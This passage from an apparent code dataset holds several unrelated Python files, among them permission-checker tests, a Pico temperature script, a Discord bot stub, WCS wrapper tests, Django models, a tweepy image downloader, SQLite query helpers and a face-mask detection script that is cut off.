self.assertTrue(get_checker(task1).current_user.is_issuer)\n\n checker = Checker(task1.get_sql_object(), self.request, self.hugo)\n self.assertFalse(checker.current_user.is_issuer)\n\n def test_is_responsible(self):\n task1 = create(Builder('task').having(responsible=TEST_USER_ID))\n task2 = create(Builder('task').having(responsible='hugo.boss'))\n\n self.assertTrue(get_checker(task1).current_user.is_responsible)\n self.assertFalse(get_checker(task2).current_user.is_responsible)\n\n def test_is_responsible_checks_inbox_members_if_issuer_is_a_inbox(self):\n task1 = create(Builder('task')\n .having(responsible=self.org_unit.inbox().id()))\n\n self.assertTrue(get_checker(task1).current_user.is_responsible)\n\n checker = Checker(task1.get_sql_object(), self.request, self.hugo)\n self.assertFalse(checker.current_user.is_responsible)\n\n def test_issuing_orgunit_agency_member(self):\n \"\"\"Checks if the current user is member of the issuing\n orgunit's inbox_group\"\"\"\n\n task1 = create(Builder('task').having(issuer=TEST_USER_ID))\n\n self.assertTrue(\n get_checker(task1).current_user.in_issuing_orgunits_inbox_group)\n\n checker = Checker(task1.get_sql_object(), self.request, self.hugo)\n self.assertFalse(checker.current_user.in_issuing_orgunits_inbox_group)\n\n def test_responsible_orgunit_agency_member(self):\n \"\"\"Checks if the current user is member of the responsible\n orgunit's inbox_group\"\"\"\n\n task1 = create(Builder('task').having(responsible_client='client1'))\n\n self.assertTrue(\n get_checker(task1).current_user.in_responsible_orgunits_inbox_group)\n\n checker = Checker(task1.get_sql_object(), self.request, self.hugo)\n self.assertFalse(\n checker.current_user.in_responsible_orgunits_inbox_group)\n\n def test_all_subtasks_finished(self):\n task = create(Builder('task').in_state('task-state-in-progress'))\n create(Builder('task')\n .within(task)\n .in_state('task-state-tested-and-closed'))\n create(Builder('task')\n .within(task)\n .in_state('task-state-rejected'))\n create(Builder('task')\n .within(task)\n .in_state('task-state-cancelled'))\n\n self.assertTrue(get_checker(task).task.all_subtasks_finished)\n\n def test_all_subtasks_is_NOT_finished_when_cancelled_or_resolved(self):\n task = create(Builder('task').in_state('task-state-in-progress'))\n create(Builder('task')\n .within(task)\n .in_state('task-state-resolved'))\n create(Builder('task')\n .within(task)\n .in_state('task-state-cancelled'))\n\n self.assertFalse(get_checker(task).task.all_subtasks_finished)\n\n def test_all_subtasks_finished_is_allways_true_when_no_subtask_exists(self):\n task = create(Builder('task').in_state('task-state-in-progress'))\n\n self.assertTrue(get_checker(task).task.all_subtasks_finished)\n\n def test_has_successors(self):\n task_with_successor = create(Builder('task'))\n task_without_successor = create(Builder('task'))\n create(Builder('task').successor_from(task_with_successor))\n\n self.assertTrue(get_checker(task_with_successor).task.has_successors)\n self.assertFalse(get_checker(task_without_successor).task.has_successors)\n\n def test_is_remote_request_checks_ogds_plugin_flag(self):\n task = create(Builder('task').in_state('task-state-in-progress'))\n\n self.assertFalse(get_checker(task).request.is_remote)\n\n task.REQUEST.environ['X_OGDS_AUID'] = 'rr'\n\n self.assertTrue(get_checker(task).request.is_remote)\n\n def test_is_successor_process_checks_request_for_succesor_flag(self):\n task = create(Builder('task').in_state('task-state-in-progress'))\n\n self.assertFalse(get_checker(task).request.is_successor_process)\n\n task.REQUEST.set('X-CREATING-SUCCESSOR', True)\n\n self.assertTrue(get_checker(task).request.is_successor_process)\n\n def test_is_assigned_to_current_admin_unit(self):\n admin_unit = create(Builder('admin_unit')\n .id('additional'))\n create(Builder('org_unit')\n .id('additional')\n .with_default_groups()\n .having(title='Additional',\n admin_unit=admin_unit))\n\n task1 = create(Builder('forwarding')\n .having(responsible_client='client1'))\n task2 = create(Builder('forwarding')\n .having(responsible=TEST_USER_ID,\n issuer=TEST_USER_ID,\n responsible_client='additional'))\n\n self.assertTrue(get_checker(task1).task.is_assigned_to_current_admin_unit)\n self.assertFalse(get_checker(task2).task.is_assigned_to_current_admin_unit)\n","sub_path":"opengever/task/tests/test_task_checker.py","file_name":"test_task_checker.py","file_ext":"py","file_size_in_byte":6272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"486506615","text":"#! /usr/bin/env python\n# -*- coding:utf-8 -*-\n# @Time : 2020/8/16 11:25 AM\n# @Author: zhangzhihui.wisdom\n# @File:threadexercise.py\nfrom threading import Thread, current_thread\n\n\ndef echo(num):\n print\n current_thread().name, num\n\n\ndef calc():\n print\n 'thread %s is running' % current_thread().name\n local_num = 0\n for _ in xrange(1000):\n local_num += 1\n echo(local_num)\n print\n 'thread %s is running ...' % current_thread().name\n\n\nif __name__ == '__main__':\n print('thread Exercise')\n print\n 'thread %s is running' % current_thread()\n threads = []\n for i in range(5):\n threads.append(Thread(target=calc))\n threads[i].start()\n for i in range(5):\n threads[i].join()\n\n print\n 'thread %s is ended ' % current_thread().name\n","sub_path":"venv/threadexercise.py","file_name":"threadexercise.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"28645989","text":"# temp.py: Measuring Temperature of Raspberry Pi Pico Sensor\n# Author: Timothy Do\n# Modifications:\n# v1.0: Added Helper Voltage Functions, converting ADC to Temperatures (7/7/21)\n# v1.1: Made Threshold Voltage a parameter rather than input (7/14/21)\n\n\nimport machine\nimport utime\nimport blink\nimport test\n\n#Global Variables\nsense = machine.ADC(4)\nfactor = 3.3 / 65535\nred = machine.Pin(15,machine.Pin.OUT)\ngreen = machine.Pin(0,machine.Pin.OUT)\n\n#Voltage Conversions Specific to Sensor\ndef voltToCel(voltage):\n return 27 - (voltage - 0.706)/0.001721\n\ndef voltToFar(voltage):\n return (voltToCel(voltage) * (9/5)) + 32\n\ndef voltToKel(voltage):\n return voltToCel(voltage) + 273.15\n\ndef tempLED(limit):\n blink.off(red)\n blink.off(green)\n loop = 0\n while(loop <= 100):\n loop = loop + 1\n volt = sense.read_u16() * factor\n print(\"Temp on Pico: \\n\" + str(voltToFar(volt)) + \"° F\\n\" + str(voltToCel(volt)) + \"° C\\n\" + str(voltToKel(volt)) + \"° K\\n\")\n if(voltToFar(volt) >= limit):\n print(\"Too Hot!\\n\")\n blink.on(red)\n blink.off(green)\n else:\n print(\"Good!\\n\")\n blink.on(green)\n blink.off(red)\n utime.sleep(2)\n blink.off(red)\n blink.off(green)\n test.clean()\n print(\"Done\")\n \ndef main():\n limit = float(input(\"Threshold Temp in F: \"))\n tempLED(limit)\n\n","sub_path":"temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":1395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"495596338","text":"import discord\nimport time\nimport json\nimport itertools\nimport requests\n\n#SCclient = soundcloud.Client(access_token='\n\ndef play_song(client, message):\n print('playing song thread')\n voice.create_ffmpeg_player()\n voice.start()\n s = message.content.split(' ')\n x = requests.get('http://www.youtubeinmp3.com/fetch/?format=JSON&video=%s' % (str(s[1])))\n print(x.json())\ndef join_channel(message):\n x = message.content.split(' ')\n for i in message.server.channels:\n if str(i) == x[1]:\n return i\n\n\nasync def join(client, message):\n print('joining')\n chnl = join_channel(message) \n voice = yield from client.join_voice_channel(chnl) \nasync def play(client, message):\n print('playing')\n play_song(client, message, voice)\n","sub_path":"commands/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"426066282","text":"\"\"\"\nTest WCS fdw\n\"\"\"\n\nimport unittest\n\nfrom multicorn import Qual\nfrom geofdw.fdw import WCS\nfrom geofdw.exception import CRSError, MissingColumnError, MissingOptionError, MissingQueryPredicateError\nfrom requests.exceptions import ConnectionError, Timeout\n\nclass WCSTestCase(unittest.TestCase):\n def test_missing_column_raster(self):\n \"\"\"\n fdw.WCS.__init__ missing raster column\n \"\"\"\n options = {}\n columns = []\n self.assertRaises(MissingColumnError, WCS, options, columns)\n\n def test_missing_column_geom(self):\n \"\"\"\n fdw.WCS.__init__ missing geom column\n \"\"\"\n options = {}\n columns = ['raster']\n self.assertRaises(MissingColumnError, WCS, options, columns)\n\n def test_missing_url(self):\n \"\"\"\n fdw.WCS.__init__ missing url\n \"\"\"\n options = {}\n columns = ['raster', 'geom']\n self.assertRaises(MissingOptionError, WCS, options, columns)\n\n def test_missing_layer(self):\n \"\"\"\n fdw.WCS.__init__ missing layer\n \"\"\"\n options = {'url' : ''}\n columns = ['raster', 'geom']\n self.assertRaises(MissingOptionError, WCS, options, columns)\n\n def test_missing_crs(self):\n \"\"\"\n fdw.WCS.__init__ missing crs\n \"\"\"\n options = {'url' : '', 'layer' : ''}\n columns = ['raster', 'geom']\n self.assertRaises(MissingOptionError, WCS, options, columns)\n\n def test_bad_crs(self):\n \"\"\"\n fdw.WCS.__init__ bad CRS\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'espg:4326'}\n columns = ['raster', 'geom']\n self.assertRaises(CRSError, WCS, options, columns)\n\n def test_crs(self):\n \"\"\"\n fdw.WCS.__init__ custom CRS\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'epsg:4326'}\n columns = ['raster', 'geom']\n fdw = WCS(options, columns)\n self.assertEquals(fdw.srid, 4326)\n\n def test_custom_width(self):\n \"\"\"\n fdw.WCS.__init__ custom width\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'EPSG:4326', 'width' : '1024'}\n columns = ['raster', 'geom']\n fdw = WCS(options, columns)\n self.assertRegexpMatches(fdw.xml, '1024')\n\n def test_custom_band(self):\n \"\"\"\n fdw.WCS.__init__ custom band\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'EPSG:4326', 'band' : '2'}\n columns = ['raster', 'geom']\n fdw = WCS(options, columns)\n self.assertRegexpMatches(fdw.xml, '2')\n\n def test_geom_predicate_A(self):\n \"\"\"\n fdw.WCS._get_predicates geom = B\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'EPSG:4326', 'band' : '2'}\n columns = ['raster', 'geom']\n qual = Qual('geom', '=', 'xyz')\n fdw = WCS(options, columns)\n value = fdw._get_predicates([qual])\n self.assertEquals(value, 'xyz')\n\n def test_geom_predicate_B(self):\n \"\"\"\n fdw.WCS._get_predicates A = geom\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'EPSG:4326', 'band' : '2'}\n columns = ['raster', 'geom']\n qual = Qual('xyz', '=', 'geom')\n fdw = WCS(options, columns)\n value = fdw._get_predicates([qual])\n self.assertEquals(value, 'xyz')\n\n def test_geom_predicate_missing(self):\n \"\"\"\n fdw.WCS.execute missing geom predicate\n \"\"\"\n options = {'url' : '', 'layer' : '', 'crs' : 'EPSG:4326', 'band' : '2'}\n columns = ['raster', 'geom']\n qual = Qual('xyz', '=', 'xyz')\n fdw = WCS(options, columns)\n self.assertRaises(MissingQueryPredicateError, fdw._get_predicates, [qual])\n\n def test_no_connect(self):\n \"\"\"\n fdw.WCS._get_raster bad connection\n \"\"\"\n options = {'url' : 'http://non-existant-url.net', 'layer' : '', 'crs' : 'EPSG:4326', 'band' : '2'}\n columns = ['raster', 'geom']\n qual = Qual('010100000000000000000000000000000000000000', '=', 'geom')\n fdw = WCS(options, columns)\n result = fdw.execute([qual], columns)\n self.assertListEqual(result, [])\n","sub_path":"test/fdw/wcs.py","file_name":"wcs.py","file_ext":"py","file_size_in_byte":3798,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"585694945","text":"from django.db import models\nfrom uuid import uuid4\nfrom django.contrib.auth.models import User\n\nclass Bookmark(models.Model):\n id = models.UUIDField(primary_key=True, default=uuid4, editable=False)\n name = models.CharField(max_length=200)\n url = models.TextField(max_length=200)\n created_at = models.DateTimeField\n\nclass PersonalBookmark(Bookmark):\n user = models.ForeignKey(User, on_delete=models.CASCADE)","sub_path":"bookmarks/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"390062699","text":"import tweepy\nimport os\nimport sys\n\nfrom urllib import request\n\n\n# add your own credentials here\nconsumer_key = \"\"\nconsumer_secret = \"\"\naccess_key = \"\"\naccess_secret = \"\"\n\n\ndef get_pics_urls(name_info):\n\n print(\"*************************************************************\")\n print(\"*************************************************************\")\n\n print(\"First step: dowanload 30 pictures from given account:\" + name_info)\n\n print(\"*************************************************************\")\n print(\"*************************************************************\")\n\n\n\n #authorize twitter and initialize tweepy\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_key, access_secret)\n api = tweepy.API(auth)\n\n #create the txt file to store the url of pictures\n name_info_raw = name_info + '_raw'\n try:\n os.makedirs('./' + name_info_raw)\n except Exception as e:\n print('Create file failed: directory already exist')\n else:\n print('Successfully create directory ' + name_info_raw)\n\n print(\"Then we would download up to 30 pictures for the given twitter account\" + name_info)\n\n alltweets = []\n\n #make initial request for most recent tweets (10 this time)\n try:\n new_tweets = api.user_timeline(screen_name = name_info, count = 10)\n except Exception as e:\n print('Connect to Twitter API failed')\n\n\n # chech if the account has no tweets(pictures)\n if len(new_tweets) == 0:\n print(\"No pictures for this twitter account, please try another account\")\n sys.exit(0)\n\n\n\n\n #save most recent tweets\n alltweets.extend(new_tweets)\n\n #save the id of the oldest tweet less one\n oldest = new_tweets[-1].id - 1\n\n # keep grabbing tweets until there are no tweets left to grab\n print(\"connecting........................................................\")\n while len(new_tweets) > 0:\n alltweets.extend(new_tweets)\n oldest = new_tweets[-1].id - 1\n new_tweets = api.user_timeline(screen_name = name_info, count = 10, max_id = oldest)\n\n print(\"First grabbing finished\")\n\n if (len(alltweets) < 30):\n print(\"not enough photos for this account\")\n\n # use a counter to name the pictures\n count = 1\n # for each tweet stored in alltweets\n for status in alltweets:\n # preset maximum pictures number:30\n if count == 31:\n break\n # if this tweet has media attribute\n if 'media' in status.entities:\n for media in status.entities['media']:\n # if the media type is photo\n if media['type'] == 'photo':\n image_url = media['media_url']\n # if the photo format is '.jpg'\n if (image_url[-4:] == '.jpg'):\n filename = 'pic_num_' + str(count)\n filepath = './' + name_info_raw + '/' + filename + '.jpg'\n # try to download the picture\n try:\n request.urlretrieve(image_url, filepath)\n except Exception as e:\n print(e)\n else:\n # successfully download, counter adds 1\n count += 1\n print(\"Downloading Process: \" + str(int((count-1)*100/30)) + \"%\")\n\n print(\"Finishing grabbing, \" + str(count-1) + \" pictures totally.\\nFirst step finished\")\n print(\"*************************************************************\")\n print(\"*************************************************************\")","sub_path":"MiniProject1/twicture.py","file_name":"twicture.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"643172793","text":"#If the bill was $150.00, split between 5 people, with 12% tip. \r\n#Each person should pay (150.00 / 5) * 1.12 = 33.6\r\n#Format the result to 2 decimal places = 33.60\r\n#Tip: There are 2 ways to round a number. You might have to do some Googling to solve this.💪\r\n#HINT 1: https://www.google.com/search?q=how+to+round+number+to+2+decimal+places+python&oq=how+to+round+number+to+2+decimal\r\n#HINT 2: https://www.kite.com/python/answers/how-to-limit-a-float-to-two-decimal-places-in-python\r\n\r\nprint(\"Welcome to the Tip Calculator\")\r\ntotal_bill=input(\"What was the total bill?\")\r\npercentage_tip=input(\"What percentage tip would you like to give? 10,12 or 15?\")\r\npeople_split=input(\"How many people to split the bill?\")\r\n\r\ntotal_bill_float=float(total_bill)\r\npercentage_tip_float=float(percentage_tip)*0.01+1\r\npeople_split_float=float(people_split)\r\n\r\nmoney_one=(total_bill_float/people_split_float)*percentage_tip_float\r\nprint(round(money_one,3))\r\n","sub_path":"Day 2.py","file_name":"Day 2.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"371116641","text":"from __future__ import print_function\nimport sqlite3\nimport json\n\nDB_NAME = 'infovis.db'\n\nCONVERT = {\"BGD\": \"BD\", \"BEL\": \"BE\", \"BFA\": \"BF\", \"BGR\": \"BG\", \"BIH\": \"BA\",\n\"BRB\": \"BB\", \"WLF\": \"WF\", \"BLM\": \"BL\", \"BMU\": \"BM\", \"BRN\": \"BN\", \"BOL\": \"BO\",\n\"BHR\": \"BH\", \"BDI\": \"BI\", \"BEN\": \"BJ\", \"BTN\": \"BT\", \"JAM\": \"JM\", \"BVT\": \"BV\",\n\"BWA\": \"BW\", \"WSM\": \"WS\", \"BES\": \"BQ\", \"BRA\": \"BR\", \"BHS\": \"BS\", \"JEY\": \"JE\",\n\"BLR\": \"BY\", \"BLZ\": \"BZ\", \"RUS\": \"RU\", \"RWA\": \"RW\", \"SRB\": \"RS\", \"TLS\": \"TL\",\n\"REU\": \"RE\", \"TKM\": \"TM\", \"TJK\": \"TJ\", \"ROU\": \"RO\", \"TKL\": \"TK\", \"GNB\": \"GW\",\n\"GUM\": \"GU\", \"GTM\": \"GT\", \"SGS\": \"GS\", \"GRC\": \"GR\", \"GNQ\": \"GQ\", \"GLP\": \"GP\",\n\"JPN\": \"JP\", \"GUY\": \"GY\", \"GGY\": \"GG\", \"GUF\": \"GF\", \"GEO\": \"GE\", \"GRD\": \"GD\",\n\"GBR\": \"UK\", \"GAB\": \"GA\", \"SLV\": \"SV\", \"GIN\": \"GN\", \"GMB\": \"GM\", \"GRL\": \"GL\",\n\"GIB\": \"GI\", \"GHA\": \"GH\", \"OMN\": \"OM\", \"TUN\": \"TN\", \"JOR\": \"JO\", \"HRV\": \"HR\",\n\"HTI\": \"HT\", \"HUN\": \"HU\", \"HKG\": \"HK\", \"HND\": \"HN\", \"HMD\": \"HM\", \"VEN\": \"VE\",\n\"PRI\": \"PR\", \"PSE\": \"PS\", \"PLW\": \"PW\", \"PRT\": \"PT\", \"SJM\": \"SJ\", \"PRY\": \"PY\",\n\"IRQ\": \"IQ\", \"PAN\": \"PA\", \"PYF\": \"PF\", \"PNG\": \"PG\", \"PER\": \"PE\", \"PAK\": \"PK\",\n\"PHL\": \"PH\", \"PCN\": \"PN\", \"POL\": \"PL\", \"SPM\": \"PM\", \"ZMB\": \"ZM\", \"ESH\": \"EH\",\n\"EST\": \"EE\", \"EGY\": \"EG\", \"ZAF\": \"ZA\", \"ECU\": \"EC\", \"ITA\": \"IT\", \"VNM\": \"VN\",\n\"SLB\": \"SB\", \"ETH\": \"ET\", \"SOM\": \"SO\", \"ZWE\": \"ZW\", \"SAU\": \"SA\", \"ESP\": \"ES\",\n\"ERI\": \"ER\", \"MNE\": \"ME\", \"MDA\": \"MD\", \"MDG\": \"MG\", \"MAF\": \"MF\", \"MAR\": \"MA\",\n\"MCO\": \"MC\", \"UZB\": \"UZ\", \"MMR\": \"MM\", \"MLI\": \"ML\", \"MAC\": \"MO\", \"MNG\": \"MN\",\n\"MHL\": \"MH\", \"MKD\": \"MK\", \"MUS\": \"MU\", \"MLT\": \"MT\", \"MWI\": \"MW\", \"MDV\": \"MV\",\n\"MTQ\": \"MQ\", \"MNP\": \"MP\", \"MSR\": \"MS\", \"IMN\": \"IM\", \"UGA\": \"UG\", \"TZA\": \"TZ\",\n\"MYS\": \"MI\", \"MEX\": \"MX\", \"ISR\": \"IL\", \"FRA\": \"FR\", \"IOT\": \"IO\", \"SHN\": \"SH\",\n\"FIN\": \"FI\", \"FJI\": \"FJ\", \"FLK\": \"FK\", \"FSM\": \"FM\", \"FRO\": \"FO\", \"NIC\": \"NI\",\n\"NLD\": \"NL\", \"NOR\": \"NO\", \"NAM\": \"NA\", \"VUT\": \"VU\", \"NCL\": \"NC\", \"NER\": \"NE\",\n\"NFK\": \"NF\", \"NGA\": \"NG\", \"NZL\": \"NZ\", \"NPL\": \"NP\", \"NRU\": \"NR\", \"NIU\": \"NU\",\n\"COK\": \"CK\", \"XKX\": \"XK\", \"CIV\": \"CI\", \"CHE\": \"CH\", \"COL\": \"CO\", \"CHN\": \"CN\",\n\"CMR\": \"CM\", \"CHL\": \"CL\", \"CCK\": \"CC\", \"CAN\": \"CA\", \"COG\": \"CG\", \"CAF\": \"CF\",\n\"COD\": \"CD\", \"CZE\": \"CZ\", \"CYP\": \"CY\", \"CXR\": \"CX\", \"CRI\": \"CR\", \"CUW\": \"CW\",\n\"CPV\": \"CV\", \"CUB\": \"CU\", \"SWZ\": \"SZ\", \"SYR\": \"SY\", \"SXM\": \"SX\", \"KGZ\": \"KG\",\n\"KEN\": \"KE\", \"SSD\": \"SS\", \"SUR\": \"SR\", \"KIR\": \"KI\", \"KHM\": \"KH\", \"KNA\": \"KN\",\n\"COM\": \"KM\", \"STP\": \"ST\", \"SVK\": \"SK\", \"KOR\": \"KR\", \"SVN\": \"SI\", \"PRK\": \"KP\",\n\"KWT\": \"KW\", \"SEN\": \"SN\", \"SMR\": \"SM\", \"SLE\": \"SL\", \"SYC\": \"SC\", \"KAZ\": \"KZ\",\n\"CYM\": \"KY\", \"SGP\": \"SG\", \"SWE\": \"SE\", \"SDN\": \"SD\", \"DOM\": \"DO\", \"DMA\": \"DM\",\n\"DJI\": \"DJ\", \"DNK\": \"DK\", \"VGB\": \"VG\", \"DEU\": \"DE\", \"YEM\": \"YE\", \"DZA\": \"DZ\",\n\"USA\": \"US\", \"URY\": \"UY\", \"MYT\": \"YT\", \"UMI\": \"UM\", \"LBN\": \"LB\", \"LCA\": \"LC\",\n\"LAO\": \"LA\", \"TUV\": \"TV\", \"TWN\": \"TW\", \"TTO\": \"TT\", \"TUR\": \"TR\", \"LKA\": \"LK\",\n\"LIE\": \"LI\", \"LVA\": \"LV\", \"TON\": \"TO\", \"LTU\": \"LT\", \"LUX\": \"LU\", \"LBR\": \"LR\",\n\"LSO\": \"LS\", \"THA\": \"TH\", \"ATF\": \"TF\", \"TGO\": \"TG\", \"TCD\": \"TD\", \"TCA\": \"TC\",\n\"LBY\": \"LY\", \"VAT\": \"VA\", \"VCT\": \"VC\", \"ARE\": \"AE\", \"AND\": \"AD\", \"ATG\": \"AG\",\n\"AFG\": \"AF\", \"AIA\": \"AI\", \"VIR\": \"VI\", \"ISL\": \"IS\", \"IRN\": \"IR\", \"ARM\": \"AM\",\n\"ALB\": \"AL\", \"AGO\": \"AO\", \"ATA\": \"AQ\", \"ASM\": \"AS\", \"ARG\": \"AR\", \"AUS\": \"AU\",\n\"AUT\": \"AT\", \"ABW\": \"AW\", \"IND\": \"IN\", \"ALA\": \"AX\", \"AZE\": \"AZ\", \"IRL\": \"IE\",\n\"IDN\": \"ID\", \"UKR\": \"UA\", \"QAT\": \"QA\", \"MOZ\": \"MZ\", \"XKK\": \"XK\"}\n\nclass DB(object):\n def __init__(self):\n self.connection = None\n self.cursor = None\n\n def __enter__(self):\n \"\"\"\n Connect to the database.\n :return: None\n \"\"\"\n self.connection = sqlite3.connect(DB_NAME)\n self.cursor = self.connection.cursor()\n return self\n\n def __exit__(self, type, value, traceback):\n \"\"\"\n Close the database connections.\n :return: None\n \"\"\"\n self.cursor.close()\n self.connection.close()\n\n @staticmethod\n def _convert_to_json(data, names):\n \"\"\"\n Converts cursor data to json.\n :param data: result of cursor.fetchall()\n :param names: result of cursor.description\n :return: str in json format\n \"\"\"\n names = list(map(lambda x: x[0], names))\n data = [list(row) for row in data]\n data = [dict(zip(names, row)) for row in data]\n return json.dumps(data)\n\n def get_tournament_data(self, tournament_id):\n \"\"\"\n Get information about a specific tournament\n \"\"\"\n self.cursor.execute(\"SELECT class,rounds,players,country,city,desc,date FROM tournaments WHERE Tournament=?\", (tournament_id,))\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n # NOTE: cities has UK as gb; other files have it uk\n def get_tournaments_for_year(self, year, month):\n date = \"%04d-%02d-01\" % (year, month)\n self.cursor.execute(\"SELECT t.Tournament, t.country AS fillKey, t.desc AS name, \"\n \"t.date AS date, c.lon AS longitude, c.lat AS latitude, \"\n \"(CASE WHEN t.players < 10 THEN 3 WHEN t.players < 50 THEN 7 \"\n \"WHEN t.players < 100 THEN 10 ELSE 15 END) AS radius, 0 AS yield \"\n \"FROM tournaments AS t, cities AS c \"\n \"WHERE lower(fillkey) = c.country \"\n \"and lower(t.city) = c.city \"\n \"and date BETWEEN date(?) AND date(?, '+1 month') \"\n \"GROUP BY Tournament\", (date, date))\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_tournament_countries(self, tournament):\n self.cursor.execute(\"select * from (\"\n \"select cc1.'3lettercode' as origin, \"\n \"cc2.'3lettercode' as destination, \"\n \"count(*) as count, games.'index' as id \"\n \"from games, country_codes cc1, country_codes cc2 \"\n \"where min(country_code_1, country_code_2) = cc1.'2lettercode' \"\n \"and max(country_code_1, country_code_2) = cc2.'2lettercode' \"\n \"and tournament_code=? \"\n \"group by origin, destination) as pairings \"\n \"inner join (select count(*) as total from games where tournament_code=?)\", (tournament,tournament))\n\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_country_win_percentage(self, country, year, month):\n country = CONVERT[country]\n date = '%d-%02d-01' % (year, month)\n\n self.cursor.execute(\"SELECT c_2.'3lettercode' AS country, SUM(win) * 1.0 / COUNT(win) AS winrate FROM (\"\n \" SELECT tournament_code, game_date, country_1, country_2, win FROM (\"\n \" SELECT games.*, color_1=result AS win, country_code_1 AS country_1, country_code_2 AS country_2 FROM games \"\n \" UNION \"\n \" SELECT games.*, color_2=result AS win, country_code_2 AS country_1, country_code_1 AS country_2 FROM games\"\n \" )\"\n \" WHERE country_1=? AND game_date BETWEEN date(?, '-1 year', '+1 month') AND date(?, '+1 month')\"\n \")\"\n \"LEFT JOIN country_codes AS c_2 ON country_2=c_2.'2lettercode' \"\n \"GROUP BY country_1, country_2;\"\n , (country, date, date))\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_player_year(self, year, month, country=None):\n dateto = '%d-%02d-01' % (year, month)\n\n if country is None:\n self.cursor.execute(\"select country_codes.'3lettercode' as country, count(*) * 1.0 / country_population.population AS players from \"\n \"(select distinct pin, icc from players where date <= ? and date >= date(?, '-1 year')) as distinctplayers \"\n \"join country_codes on distinctplayers.icc = country_codes.'2lettercode' \"\n \"join country_population on icc = country \"\n \"group by icc; \", (dateto, dateto))\n\n else:\n self.cursor.execute(\"select count(distinct pin) as count from players where icc = ? and date <= ? and date >= date(?, '-1 year')\", (CONVERT[country], dateto, dateto))\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_player_ranks_country(self, year, month, country):\n country = CONVERT[country]\n date = '%d-%02d-01' % (year, month)\n\n query = \"select Grade as rank, count(*) as count from ( \" \\\n \"select distinct pin, icc, MAX(IGoR) as igor, Grade \" \\\n \"from players where icc = ? \" \\\n \"and date <= ? and date >= date(?, '-1 year') \" \\\n \"group by pin) as distinctplayers \" \\\n \"group by Grade;\"\n\n self.cursor.execute(query, (country, date, date))\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_player_ranks_tournament(self, id):\n \n self.cursor.execute(\"select Grade as rank, count(*) as count from ( \"\n \"select * \"\n \"from players where Tournament=? ) \"\n \"group by rank;\",\n (id,))\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n\n def get_tournament_count_country(self, year, month, country):\n self.cursor.execute(\"SELECT \"\n \"SUM(date BETWEEN date(?, '-1 year', '+1 month', '-1 day') AND date(?, '+1 month', '-1 day')) as year, \"\n \"SUM(date BETWEEN date(?) AND date(?, '+1 month', '-1 day')) as month, \"\n \"SUM(date < date(?, '+1 month', '-1 day')) as total \"\n \"FROM tournaments \"\n \"INNER JOIN country_codes ON country=country_codes.'2lettercode' \"\n \"WHERE country_codes.'3lettercode' = ?;\",\n ('%s-%s-01' % (year,(\"0\" + month)[-2:]),'%s-%s-01' % (year,(\"0\" + month)[-2:]),'%s-%s-01' % (year,(\"0\" + month)[-2:]),'%s-%s-01' % (year,(\"0\" + month)[-2:]),'%s-%s-01' % (year,(\"0\" + month)[-2:]),country))\n\n return self._convert_to_json(self.cursor.fetchall(), self.cursor.description)\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":10633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"381885065","text":"import sys\ndef solve(num, cnt):\n if num < 100:\n cnt += 1\n else:\n num = str(num)\n if int(num[0]) + int(num[2]) == int(num[1])*2:\n cnt += 1\n return cnt\nN = int(sys.stdin.readline().rstrip())\ncnt = 0\nfor i in range(1, N+1):\n cnt = solve(i, cnt)\nprint(cnt)","sub_path":"baekjoon/1065.py","file_name":"1065.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"121086378","text":"import sys\nsys.path.append('../')\nfrom MTCNN.find_face import find_face\nfrom Classification_Model.classify_face import classify\nimport cv2\n\ndef find_boxes(img_path):\n\n img = cv2.cvtColor(cv2.imread(img_path), cv2.COLOR_BGR2RGB)\n faces = find_face(img)\n boxes = []\n for bbox in faces:\n bbox[0] = max(1, bbox[0])\n bbox[1] = max(1, bbox[1])\n bbox[2] = min(img.shape[1]-1, bbox[2])\n bbox[3] = min(img.shape[0]-1, bbox[3])\n boxes.append(bbox)\n return img, boxes\n\ndef show_boxes(img_path):\n img, boxes = find_boxes(img_path)\n\n for bbox in boxes:\n face = img[bbox[1]:bbox[3], bbox[0]:bbox[2]]\n\n if classify(face):\n print(\"마스크를 착용하지 않은 사람이 있습니다.\")\n cv2.rectangle(img, (bbox[0], bbox[1]),\n (bbox[2], bbox[3]),\n (255, 0, 0), 2)\n elif not classify(face):\n print(\"마스크를 착용한 사람이 있습니다.\")\n cv2.rectangle(img, (bbox[0], bbox[1]),\n (bbox[2], 